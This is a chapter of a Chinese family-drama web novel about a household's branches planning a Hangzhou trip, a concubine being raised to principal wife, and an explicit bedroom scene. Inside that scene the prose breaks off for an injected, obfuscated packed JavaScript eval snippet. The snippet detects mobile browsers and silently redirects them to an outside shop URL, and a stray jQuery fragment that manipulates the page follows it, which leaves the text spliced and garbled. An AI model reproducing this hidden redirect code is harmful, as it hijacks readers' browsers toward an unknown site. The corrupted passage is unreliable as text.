消息传到二房的时候,已经是下午了。
钱玉琴正坐在炕沿上对着一堆料子发愁。
二房的绸缎庄这半年生意越发不好做了,府城那边新开了两家铺子,价钱压得比她低了两成,老主顾跑了大半。她让秋月去各处绸缎庄打听了一圈行情,拿回来的样布不是价钱太高就是料子太糙,挑来挑去没一个合心意的。
她正对着那几块样布唉声叹气,秋月忽然跑进来说:“太太,大房那边传话了,说大太太下个月要带明兰姑娘去杭州给周家老太太贺寿,要住好几日呢。”
钱玉琴的耳朵一下子竖了起来。杭州。杭州的绸缎行当比崇德县大了不知多少倍,绫罗绸缎应有尽有,价钱也比崇德公道。她早想亲自去杭州看一趟货,只是苦于没有由头,如今周玉兰要去,正好是个现成的伴。她把手里那块样布往桌上一撂,站起来理了理衣裳就往大房去了。
周玉兰正在里间收拾几件出门要带的衣裳,见钱玉琴进来便放下了手里的活儿,在炕沿上坐下来,笑着问:“弟妹来了?有事?”
钱玉琴在她对面坐下,也笑,可那笑里头带着几分不好意思:“大嫂,我听说你要去杭州给周家老太太贺寿?我正好也想去杭州看看绸缎的行情,咱们一道走成不成?路上也好有个伴,到了杭州你们忙你们的,我自个儿去看料子,不耽误你们的事。”
周玉兰听了,没有急着答话,端起茶来喝了一口,她知道钱玉琴最近绸缎庄的生意不怎么样,也知道她急着找新货源,这都是实话。可她周玉兰也不是白给人搭便车的性子,既然钱玉琴自己送上门来了,她没道理不顺手提个条件。
“弟妹要去杭州,那自然好,路上人多热闹。”周玉兰笑着说,“不过弟妹也晓得,我带着明兰一个人出门,到了杭州那边亲戚多、应酬也多,我怕照应不过来。巧儿那孩子又机灵又讨喜,若是弟妹肯带上她一道去,两个姑娘在一处也有个伴,我也省些心。弟妹觉得呢?”
钱玉琴愣了一下,随即明白了周玉兰的意思,她本来就有求于周玉兰,若是不答应这个条件,周玉兰怕是连车都不让她搭。
她想了不到一息,便笑着点了头:“大嫂说的是,两个姑娘家在一处确实有个照应。巧儿那孩子成天闷在家里绣嫁妆也怪没趣的,带她出去散散心正好。那就这么说定了,我回去跟巧儿说一声,让她收拾收拾。”
周玉兰脸上的笑意深了几分,端起茶来又喝了一口:“那就这么定了。弟妹回去把巧儿的衣裳备好,出门的日子我定下来再跟你说。”
钱玉琴站起来走了,出了大房的门,步子比来时轻快了不少。她在廊下站了站,抬头看了看天,天阴沉沉的,云层压得很低,像是要落雪的样子,可她心里头却觉得敞亮了些。杭州的绸缎行当,她这回总算是能亲自去摸一摸底了。
明兰那屋里,翠儿把太太要带她去杭州贺寿的消息说了。明兰正对着那碗凉透了的银耳羹发怔,听了这个消息,手里的勺子顿了一下,抬起眼来,目光里头有一丝微弱的光晃了晃,她轻轻“嗯”了一声,没有说好也没有说不好。
翠儿看着她那副模样,心里头叹了口气,把凉了的银耳羹端走了。
十一月中旬,岳家祠堂的门开了。
素日里祠堂是不轻易开的,只在年节祭祖或婚丧大事才启锁。
这一日虽不是年节,可祠堂里外收拾得干干净净,香案上点了三炷高香,青烟袅袅地升起来,在梁间盘旋着散开。岳敬安换了一身簇新的石青绸袍,站在香案左侧,陆云雯穿着一件藕荷色的新绸褙子,头上簪了支素银簪子,站在他身侧半步的位置。
各房的人都到齐了。
老夫人坐在祠堂侧面的太师椅上,大房岳敬修站在左首,周玉兰立在旁边,面上带着得体的笑。二房岳敬德站在右首,脸上没什么表情,抱着胳膊,目光在陆云雯身上扫,钱玉琴倒是笑着的,明远、明兰、巧儿几个小辈站在后头,巧儿好奇地探头探脑,被钱玉琴轻轻拽了一下袖子才收了回去。
祠堂里安静了片刻,管祠堂的老许把一本家谱摊开在香案上,又端来一碗清水和一支新笔,退到了一旁。
族老转过身来,说了几句“陆氏云雯入岳家门十余载,操持家务、抚养子嗣,今扶为正室”云云,陆云雯在他说完最后一个字的时候,才抬起眼来,朝香案上的牌位拜了三拜,又朝老夫人拜了一拜,礼数周全,不疾不徐。
老夫人受了她的礼,开口时声音不咸不淡的:“阿陆,今儿起你是三房的正室了。往后三房的事你多上心,明礼的功课也要盯紧些。”她说着顿了一下,“正房那边的待客规矩、账目往来,这几日你先来学着,有什么事不懂的问春兰。”
这话听着像是抬举,陆云雯只应声:“儿媳记下了。”
老夫人没再提什么,站起来说“散了吧”,春兰便上前扶着她往祠堂外头走了。
出了祠堂,各房的人便散了。
岳敬德走出去几步才压着嗓子跟岳敬修说了一句:“大哥,你瞧瞧,一个丫头也扶正了,咱们岳家的规矩真是越来越松泛了。”
岳敬修没接话,只“嗯”了一声便快步走了。
夜里,东跨院的灯亮到很晚。
炭盆烧得旺,屋里暖烘烘的,把窗纸上的霜花都融化了。
陆云雯把头上那支赤金簪子拔下来搁在妆台上,散了发髻,乌黑的长发散了一肩。岳敬安从外间进来,手里端着一碗热姜茶,搁在她手边,顺势在她旁边坐下来,看着她低头拆头发上的碎簪。
他伸手替她拈起一缕散在脸侧的碎发别到耳后,陆云雯偏过头来看了他一眼,目光在灯影里温温软软的,像化开的蜜。
“累不累?”岳敬安问她。
“有点。”她把手里的碎簪搁下,靠在他肩上,闭了闭眼,“老太太说要我学着理事,明日一早怕是要去正房点卯。”
岳敬安的手搭在她肩上,掌心贴着那层薄薄的绸衣,隔着布料能感觉到她肩头微微绷着的劲。“老太太那边我去说,你也不用太拘着。她叫你去你便去,做不来的事推到我身上就是了。”
陆云雯轻轻笑了一声:“你倒会说。老太太面前推你身上,她不是更恼我?”
岳敬安没有接她这话,低头把脸埋进她发间,深深吸了一口气,她刚洗过澡,头发上还带着皂角的清苦气,混着她皮肤底下透出来的那点温腻的暖意,一股子柔柔地钻进他鼻子里,把他的呼吸微微带急了几分,从她肩上顺着脊背滑下去。
陆云雯被他这样贴着,浑身的骨头慢慢软下去,像是泡在温水里,一寸一寸地化开了。她抬手勾住了他的脖子,把他拉近了些,手从他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815677|210386||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
领口滑了进去,听见他喉间滚出一声低沉的闷哼。
她轻轻笑了一下,那笑意像是偷到了什么旁人不知道的甜头。岳敬安被她这一声笑烧着了,箍着她腰的那只手臂猛地收紧,另一只手顺着她衣襟的系带摸下去,指头勾住了那根细绳一抽,绸袄的领口便散开了半幅,露出一截雪白的肩颈和锁骨下那一片起伏。
帐子里的暖意一寸一寸地涨上来,把两个人都泡得绵软。陆云雯浑身是汗,薄薄的小衣贴在身上,被他蹭得歪了大半,露出底下一大片润白。岳敬安的手从她小腹滑下去,每一下都带起她一阵细细的颤。她攀着他的肩,指甲陷进他后肩的皮肉里,留下几道浅浅的红痕,他从喉咙深处发出一声闷哼,低头去寻她的唇,两个人便又缠在了一处。
炭盆里的火噼啪响了一声,把屋里那层暖融融的暗影晃了一晃。
一个时辰过去,陆云雯偏过头来喘息着,声音又轻又软,几乎只有气声:“三爷……把灯吹了……”
岳敬安没有动,只是低头看着她,像是要把她这副模样烙进眼里去:“不吹。”
陆云雯被他看得脸上烧起来,别过脸去闷在他肩窝里不吭声了。
次日一早,陆云雯去了正房。
老夫人歪在罗汉床上,面前搁着一摞账册和几张单子,见她来了便抬了抬下巴,指了指那摞东西:“这是下个月各房的用度单子,还有年下要备的节礼清单。你先把这些看一看,理出个头绪来。”她说着端起茶喝了一口,又慢悠悠地补了一句,“明远月底过生日,往年都是大房自己操持的,今年你大嫂怕是顾不上,你也一并理了吧。各房的礼数、席面的规制、请哪些人,都归你安排。”
陆云雯站在桌前,低头看了看那摞东西,明远的生日虽不是什么大日子,可如今明远是秀才了,各房亲戚、县学里的同窗、几户走动多的体面人家都要知会,该备的席面、该收的礼、该回的帖,一样一样都是人情账。老太太把这桩事甩给她,说是让她操持,实则是个下马威——她一个刚扶正的妾室,头一回接这种台面上的事,稍有差池便落人口实。
她正要应声,旁边忽然响起周玉兰的声音。
周玉兰不知什么时候也来了正房,手里拿着一本账簿站在门口听了一会儿,这时迈步进来,笑着说:“老太太,明远的生日那日,正好我也在家。往年都是我张罗的,今年跟阿陆一起操持就是,也算给她搭把手。”
陆云雯愣了一下,转头看向周玉兰。周玉兰没有看她,只是笑盈盈地跟老太太说话,语气不紧不慢的:“明远那孩子的脾性我清楚,他不大喜欢太闹腾的场面。席面上请几位先生和走得近的亲戚就够了,旁的那些远亲不如省了,省得他不自在。”她说着转向陆云雯,“阿陆,到时候你管着后厨的单子,前头的宾客观礼我来替你看着,你头一回料理这些事,不用慌。”
老夫人端着茶盏的手微微顿了一下,看了周玉兰一眼,清楚周玉兰是在给陆云雯搭台阶,可当着陆云雯的面她也不好驳回,只把茶盏放下来,不咸不淡地说了句:“既然你大嫂肯帮你,那就一道办吧。”
陆云雯朝周玉兰福了一福,低声道:“多谢大嫂。”
周玉兰摆了摆手,笑着说:“一家人,说什么谢。”说完,又跟老太太说了几句杭州贺寿的安排,便拿着账簿走了。